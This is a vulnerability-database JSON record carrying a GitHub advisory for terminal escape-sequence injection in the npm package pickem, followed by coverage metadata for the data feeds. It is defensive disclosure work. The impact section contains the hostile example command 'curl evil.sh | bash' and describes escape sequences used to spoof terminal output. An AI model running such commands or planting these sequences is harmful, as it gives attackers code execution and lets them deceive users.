{"id":"GHSA-8qx3-8gm5-9cj2","revision":null,"records":[{"revision":"4b4d9ec698e940cdb39f239b5a2f2d57","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-8qx3-8gm5-9cj2","aliases":[],"title":"pickem vulnerable to terminal escape-sequence injection via unsanitized item text","description":"### Impact\npickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. `chrome.row` only stripped ANSI from the **active** row; inactive rows, the public `createFormatter`, and selection-summary lines printed labels **raw**, and the ANSI strip missed bare C0 controls anyway.\n\nBecause item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:\n\n- **OSC 52 clipboard write** — silently load e.g. `curl evil.sh | bash` into the user's clipboard; their next paste-into-shell is RCE.\n- **Cursor-movement + erase** (`ESC[1A`, `ESC[2K`) — overwrite already-printed trusted lines to spoof UI (forge a \"✓ Verified publisher\", fake prompt, or hide a malicious entry).\n- **BEL / C0 control flooding.**\n\nAny CLI that passes untrusted strings into pickem choices is affected.\n\n### Patches\nFixed in **1.0.7**. A new `sanitizeDisplay()` strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary — applied to every externally-supplied display string across all prompts (`select`, `search`, `checkbox`, `searchable-checkbox`, `input`), `createFormatter`, row meta, and committed selection summaries. Display-only; returned values are unchanged.\n\n### Workarounds\nUpgrade to >= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.","state":0,"publishedAt":"2026-08-25T15:59:11+00:00","modifiedAt":"2026-08-26T00:42:27.6763655+00:00","affected":[{"ecosystem":"npm","name":"pickem","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.0.7"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/calebogden/pickem-oss/security/advisories/GHSA-8qx3-8gm5-9cj2","https://github.com/calebogden/pickem-oss","https://github.com/calebogden/pickem-oss/releases/tag/v1.0.7"],"sourceUrl":"https://github.com/advisories/GHSA-8qx3-8gm5-9cj2","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-8qx3-8gm5-9cj2","identifiers":["GHSA-8qx3-8gm5-9cj2"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-20T22:47:43.1952057+00:00","complete":true,"records":1790,"lastAttemptAt":"2026-11-20T22:47:43.1952057+00:00","lastSuccessAt":"2026-11-20T22:47:43.3752634+00:00","error":null,"lastVerifiedAt":"2026-11-20T22:47:43.3752641+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-ab394367b327976f2e615091908e1dede6760751304792bb06c748f95767cbef-b5b29b8a5139718609527c2e3a0688681b40d1aec6bb070d2dab674b3a86cbe3","complete":true,"records":429990,"lastAttemptAt":"2026-11-20T22:46:01.4357208+00:00","lastSuccessAt":"2026-11-20T22:46:01.316838+00:00","error":null,"lastVerifiedAt":"2026-11-20T22:46:01.4357208+00:00","snapshotPublishedAt":"2026-11-20T22:28:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b786befad55242fb8fcf609d86431c70","complete":false,"records":13914,"lastAttemptAt":"2026-11-20T22:48:31.8111343+00:00","lastSuccessAt":"2026-11-20T22:48:31.805+00:00","error":"48 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-20T22:48:31.805+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13914,"expectedIdentifiers":13962,"failedIdentifiers":48},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-20T22:47:43.1952057+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-20T22:47:43.1952057+00:00","lastSuccessAt":"2026-11-20T22:47:43.3761054+00:00","error":null,"lastVerifiedAt":"2026-11-20T22:47:43.3761056+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-88c9705a54a84196935b6d197f75e839","complete":false,"records":13926,"lastAttemptAt":"2026-11-20T22:48:22.8630662+00:00","lastSuccessAt":"2026-11-20T22:48:22.859+00:00","error":null,"lastVerifiedAt":"2026-11-20T22:48:22.859+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13944,"expectedIdentifiers":13962,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-a479762f093c173daaf94ab78c6e1c5dc2a2542cfb360d0428239181880c03b4","complete":true,"records":9988,"lastAttemptAt":"2026-11-20T22:47:43.0473566+00:00","lastSuccessAt":"2026-11-20T15:48:09.8429817+00:00","error":null,"lastVerifiedAt":"2026-11-20T22:47:43.0473566+00:00","snapshotPublishedAt":"2026-11-20T15:18:25+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-20T22:46:01.495+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-20T22:46:01.495+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-0d57516b4a7264d7a3e50d41b832d65b6f43cdd6a79ce9e39aca7fd9f0df1b84","complete":true,"records":3208,"lastAttemptAt":"2026-11-20T22:47:43.1568332+00:00","lastSuccessAt":"2026-11-20T18:47:57.1855043+00:00","error":null,"lastVerifiedAt":"2026-11-20T22:47:43.1568332+00:00","snapshotPublishedAt":"2026-11-20T17:03:30+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-71b6e9fa2bdef8930270791248008bdac2042cfaeb0c2f448f3abc7146bf0392","complete":true,"records":232844,"lastAttemptAt":"2026-11-20T22:47:42.9156518+00:00","lastSuccessAt":"2026-11-20T22:47:41.8304707+00:00","error":null,"lastVerifiedAt":"2026-11-20T22:47:42.9156518+00:00","snapshotPublishedAt":"2026-11-20T22:33:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}